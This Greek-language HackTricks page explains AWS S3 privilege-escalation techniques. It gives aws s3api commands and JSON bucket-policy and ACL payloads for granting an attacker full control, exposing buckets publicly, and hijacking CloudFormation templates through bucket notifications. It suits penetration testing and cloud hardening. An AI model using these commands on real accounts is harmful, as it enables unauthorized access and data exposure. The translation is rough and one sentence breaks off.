AWS - S3 Privesc

Μάθετε το hacking στο AWS από το μηδέν μέχρι τον επαγγελματία με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

S3

s3:PutBucketNotification, s3:PutObject, s3:GetObject

Ένας επιτιθέμενος με αυτές τις άδειες πάνω σε ενδιαφέροντα buckets μπορεί να καταφέρει να αποκτήσει τον έλεγχο των πόρων και να ανεβάσει τα προνόμια.

Για παράδειγμα, ένας επιτιθέμενος με αυτές τις άδειες πάνω σε ένα bucket cloudformation με το όνομα "cf-templates-nohnwfax6a6i-us-east-1" θα μπορούσε να αποκτήσει τον έλεγχο της αναπτυξιακής διαδικασίας. Η πρόσβαση μπορεί να δοθεί με την ακόλουθη πολιτική:

{
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Action":[
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"],
"Resource":[
"arn:aws:s3:::cf-templates-*\/*",
"arn:aws:s3:::cf-templates-*"]
},
{
"Effect":"Allow",
"Action":"s3:ListAllMyBuckets",
"Resource":"*"
}]
}

Και η αποπροσανατολισμός είναι δυνατός επειδή υπάρχει ένα μικρό χρονικό παράθυρο από τη στιγμή που ο πρότυπος ανεβαίνει στο κάδο μέχρι τη στιγμή που το πρότυπο εκτελείται. Ένας επιτιθέμενος μπορεί απλά να δημιουργήσει μια συνάρτηση lambda στον λογαριασμό του που θα ενεργοποιηθεί όταν αποστέλλεται μια ειδοποίηση κάδου, και αποπροσανατολίζει το περιεχόμενο αυτού του κάδου.

Το αρθρωτό Pacu cfn__resouce_injection μπορεί να χρησιμοποιηθεί για να αυτοματοποιήσει αυτήν την επίθεση. Για περισσότερες πληροφορίες, ελέγξτε την αρχική έρευνα: https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/

s3:PutObject, s3:GetObject

Αυτές είναι οι άδειες για λήψη και αποστολή αντικειμένων στο S3. Πολλές υπηρεσίες μέσα στο AWS (και εκτός αυτού) χρησιμοποιούν την αποθήκευση S3 για να αποθηκεύουν αρχεία διαμόρφωσης. Ένας επιτιθέμενος με δικαίωμα ανάγνωσης μπορεί να βρει ευαίσθητες πληροφορίες σε αυτά. Ένας επιτιθέμενος με δικαίωμα εγγραφής μπορεί να τροποποιήσει τα δεδομένα για να καταχραστεί κάποια υπηρεσία και να προσπαθήσει να αναβαθμίσει τα δικαιώματα. Αυτά είναι μερικά παραδείγματα:

  • Αν ένα παράδειγμα EC2 αποθηκεύει τα δεδομένα χρήστη σε έναν κάδο S3, ένας επιτιθέμενος μπορεί να το τροποποιήσει για να εκτελέσει αυθαίρετο κώδικα μέσα στο παράδειγμα EC2.

s3:PutBucketPolicy

Ένας επιτιθέμενος, που πρέπει να είναι από τον ίδιο λογαριασμό, αν όχι θα εμφανιστεί το σφάλμα Η συγκεκριμένη μέθοδος δεν επιτρέπεται, με αυτήν την άδεια θα μπορεί να χορηγήσει στον εαυτό του περισσότερες άδειες για τον κάδο(ους), επιτρέποντάς του να διαβάσει, να γράψει, να τροποποιήσει, να διαγράψει και να αποκαλύψει κάδους.

# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>

## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}

## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}

s3:GetBucketAcl, s3:PutBucketAcl

Ένας επιτιθέμενος μπορεί να καταχραστεί αυτές τις άδειες για να του επιτρέψουν περισσότερη πρόσβαση σε συγκεκριμένα κάδους. Σημειώστε ότι ο επιτιθέμενος δεν χρειάζεται να είναι από τον ίδιο λογαριασμό. Επιπλέον, η πρόσβαση εγγραφής

# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectAcl

Ένας επιτιθέμενος μπορεί να καταχραστεί αυτές τις άδειες για να του επιτραπεί περισσότερη πρόσβαση σε συγκεκριμένα αντικείμενα μέσα σε κάδους.

# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectVersionAcl

Ένας επιτιθέμενος με αυτά τα προνόμια αναμένεται να μπορεί να τοποθετήσει ένα Acl σε μια συγκεκριμένη έκδοση αντικειμένου.

aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated